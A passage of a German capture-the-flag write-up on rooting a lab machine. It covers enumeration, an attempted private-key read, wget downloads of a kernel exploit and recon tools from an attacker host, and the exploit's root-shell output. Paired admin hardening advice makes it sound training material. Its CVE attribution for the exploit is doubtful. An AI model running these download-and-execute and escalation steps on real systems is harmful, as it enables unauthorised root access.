192.168.2.118 - - [03/May/2024 15:39:24] "GET /ExploitGSM HTTP/1.1" 200 -
Analyse: Der Inhalt der Datei `full-stack-apache-setup.xml` aus dem Web-Root wird angezeigt.
Bewertung: Die XML-Datei enthält Apache/Nginx(?)-Konfigurationsdetails: Port 80, Hostname `www.blackhat2.com`, Aliase, geladene Module (u.a. `mod_security2`, `mod_evasive`), Rewrite-Regeln und eine interessante, aber auskommentierte `
Empfehlung (Pentester): Die Information über ModSecurity/ModEvasive ist wichtig, falls Angriffe blockiert werden. Der Hostname `newspapersbeta.blackhat2.hmv` könnte auf eine weitere (interne?) Anwendung oder Subdomain hindeuten, die untersucht werden sollte (z.B. durch Hinzufügen zur `/etc/hosts`-Datei und Testen).
Empfehlung (Admin): Konfigurationsdateien sollten nicht im Web-Root liegen. WAF (ModSecurity) und Anti-DoS (ModEvasive) sind gute Maßnahmen, müssen aber korrekt konfiguriert und gewartet werden.
80 www.blackhat2.com www.blackhat2.net api.blackhat2.com mod_rewrite mod_proxy mod_ssl mod_security2 mod_evasive mod_headers mod_deflate mod_expires mod_status ^/(.*)$ /index.php?q=$1 ^/api/(.*)$ /api/index.php?q=$1 On 123456 ^(.*)$ deny,status:403 234567 newspapersbeta.blackhat2.hmv
Analyse: Verschiedene Enumerationsbefehle werden als `www-data` ausgeführt, um Informationen über das System und potenzielle Schwachstellen für den Kernel-Exploit zu sammeln.
Bewertung: * Zugriff auf SSL-Zertifikat/Schlüssel wird versucht, scheitert aber (Datei nicht gefunden / Permission denied). * Debian Version 12 (`VERSION_ID="12"`) wird identifiziert. * Kernel-Konfigurationsoptionen (`CONFIG_SECURITY_SELINUX_DEVELOP=y`, `CONFIG_KEXEC=y`) werden gefunden. SELinux Develop-Mode könnte interessant sein, Kexec ist für Kernel-Exploits weniger relevant. * `dmesg` kann nicht gelesen werden (`Operation not permitted`). * Der Kernel-Symbol `selinux_state` wird gefunden. * Änderung von `kernel.kptr_restrict` scheitert (`permission denied`).
Empfehlung (Pentester): Die gesammelten Informationen (Debian 12, spezifische Kernel-Konfigs) bestätigen das Zielumfeld. Da `dmesg` und `sysctl`-Änderungen blockiert sind, ist die Informationsgewinnung leicht eingeschränkt. Der Fokus liegt nun auf der Ausführung des vorbereiteten Kernel-Exploits.
Empfehlung (Admin): Zugriff auf `dmesg` für unprivilegierte Benutzer einschränken (`kernel.dmesg_restrict=1`). `kernel.kptr_restrict` auf `1` oder `2` setzen, um Kernel-Adress-Leaks zu erschweren. Unnötige Kernel-Module oder Debug-Optionen deaktivieren.
cat: /etc/ssl/certs/www_blackhat2_com.crt: No such file or directory
cat: /etc/ssl/private/www_blackhat2_com.key: Permission denied
VERSION_ID="12"
CONFIG_SECURITY_SELINUX_DEVELOP=y
dmesg: read kernel buffer failed: Operation not permitted
CONFIG_KEXEC=y CONFIG_KEXEC_FILE=y CONFIG_ARCH_HAS_KEXEC_PURGATORY=y CONFIG_KEXEC_SIG=y # CONFIG_KEXEC_SIG_FORCE is not set CONFIG_KEXEC_BZIMAGE_VERIFY_SIG=y # CONFIG_KEXEC_JUMP is not set CONFIG_KEXEC_CORE=y CONFIG_HAVE_IMA_KEXEC=y # CONFIG_IMA_KEXEC is not set
0000000000000000 B selinux_state
sysctl: permission denied on key "kernel.kptr_restrict"
Analyse: Im `/tmp`-Verzeichnis werden die heruntergeladenen Tools (`ExploitGSM`, `linpeas.sh`, `pspy64`) mit `chmod +x *` ausführbar gemacht. `linpeas.sh` und `pspy64` werden gestartet (die Ausgaben sind gemischt und teilweise von fehlgeschlagenen Kopier-/Ausführungsversuchen unterbrochen).
Bewertung: Die Ausführung von LinPEAS und pspy liefert normalerweise viele Informationen zur weiteren Enumeration. Die Ausgabe ist hier jedoch unvollständig und von anderen Befehlen überlagert. Der entscheidende nächste Schritt ist die Ausführung des Kernel-Exploits.
Empfehlung (Pentester): Nach dem Transfer des Exploits diesen ausführen.
Empfehlung (Admin): Siehe vorherige Empfehlungen zu `/tmp` und Monitoring.
total 4884 drwxrwxrwt 2 root root 4096 May 4 23:18 . drwxr-xr-x 18 root root 4096 Feb 26 09:58 .. -rwxr-xr-x 1 www-data www-data 1078824 May 4 00:57 ExploitGSM -rwxr-xr-x 1 www-data www-data 827827 Nov 18 01:39 linpeas.sh -rwxr-xr-x 1 www-data www-data 3078592 Nov 18 01:39 pspy64
[... Linpeas Banner ...] pspy64 100%[=============================>] 2.94M --.-KB/s in 0.02s 2024-05-04 23:18:23 (188 MB/s) - ‘pspy64’ saved [3078592/3078592]
--2024-05-04 23:18:55-- http://192.168.2.199/ExploitGSM Connecting to 192.168.2.199:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1078824 (1.0M) [application/octet-stream] Saving to: ‘ExploitGSM’ ExploitGSM 100%[=============================>] 1.03M --.-KB/s in 0.003s 2024-05-04 23:18:55 (320 MB/s) - ‘ExploitGSM’ saved [1078824/1078824]
total 4884 drwxrwxrwt 2 root root 4096 May 4 23:18 . drwxr-xr-x 18 root root 4096 Feb 26 09:58 .. -rwxr-xr-x 1 www-data www-data 1078824 May 4 00:57 ExploitGSM -rwxr-xr-x 1 www-data www-data 827827 Nov 18 01:39 linpeas.sh -rwxr-xr-x 1 www-data www-data 3078592 Nov 18 01:39 pspy64
[... Linpeas Banner ...] [1]+ Done ./linpeas.sh
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855 [... pspy Ausgabe ...]
Analyse: Der kompilierte Kernel-Exploit `ExploitGSM` wird im `/tmp`-Verzeichnis ausgeführt.
Bewertung: **Erfolg!** Der Exploit meldet: * Erkennung des Kernel-Pfads (`/boot/vmlinuz-6.1.0-18-amd64`). * Erkennung des Kompressionsformats (`xz`). * Erfolgreiches Extrahieren/Analysieren des Kernels. * Leak von Kernel-Adressen (`startup_xen`, `text`). * `We get root, spawn shell`. Der Prompt wechselt zu `root@blackhat2:/root#`, was die erfolgreiche Privilegieneskalation zu `root` bestätigt.
Empfehlung (Pentester): Root-Zugriff erlangt! Die User- und Root-Flags suchen und auslesen.
Empfehlung (Admin): **Kernel dringend patchen!** Die verwendete Kernel-Version (`6.1.0-18`) ist anfällig für DirtyCred (CVE-2022-2588) oder ähnliche Exploits, die `ExploitGSM` implementiert. System-Monitoring zur Erkennung von Exploit-Ausführungen implementieren.
kallsyms restricted, begin retvial kallsyms table detected kernel path-> /boot/vmlinuz-6.1.0-18-amd64 detected compressed format -> xz Uncompressed kernel size -> 65902908 successfully taken kernel! begin try leak startup_xen! startup_xen leaked address -> ffffffff8ec6f1c0 text leaked address -> ffffffff8cc00000 lockdep_map_size -> 32 spinlock_t_size -> 4 mutex_size -> 32 gsm_mux_event_offset -> 56 Let go thread We get root, spawn shell root@blackhat2:/root#
Analyse: Als `root` werden die Root- und User-Flags gesucht und ausgelesen.
Bewertung: * `ls` im Root-Home (`/root`) zeigt `root.txt`. * `cat root.txt` liest die Root-Flag: `30f55e2f86961a07e3a181a82f602ed6`. * Wechsel zu `/home`, `ls` zeigt den Benutzer `sml`. * Wechsel zu `/home/sml`, `ls` zeigt `user.txt`. * `cat user.txt` liest die User-Flag: `156532dab679edf6f8e53c8787a09264`.
Empfehlung (Pentester): Beide Flags erfolgreich gefunden. Bericht abschließen.
Empfehlung (Admin): System sichern (Kernel patchen, LFI beheben).
root.txt
30f55e2f86961a07e3a181a82f602ed6
sml
user.txt
156532dab679edf6f8e53c8787a09264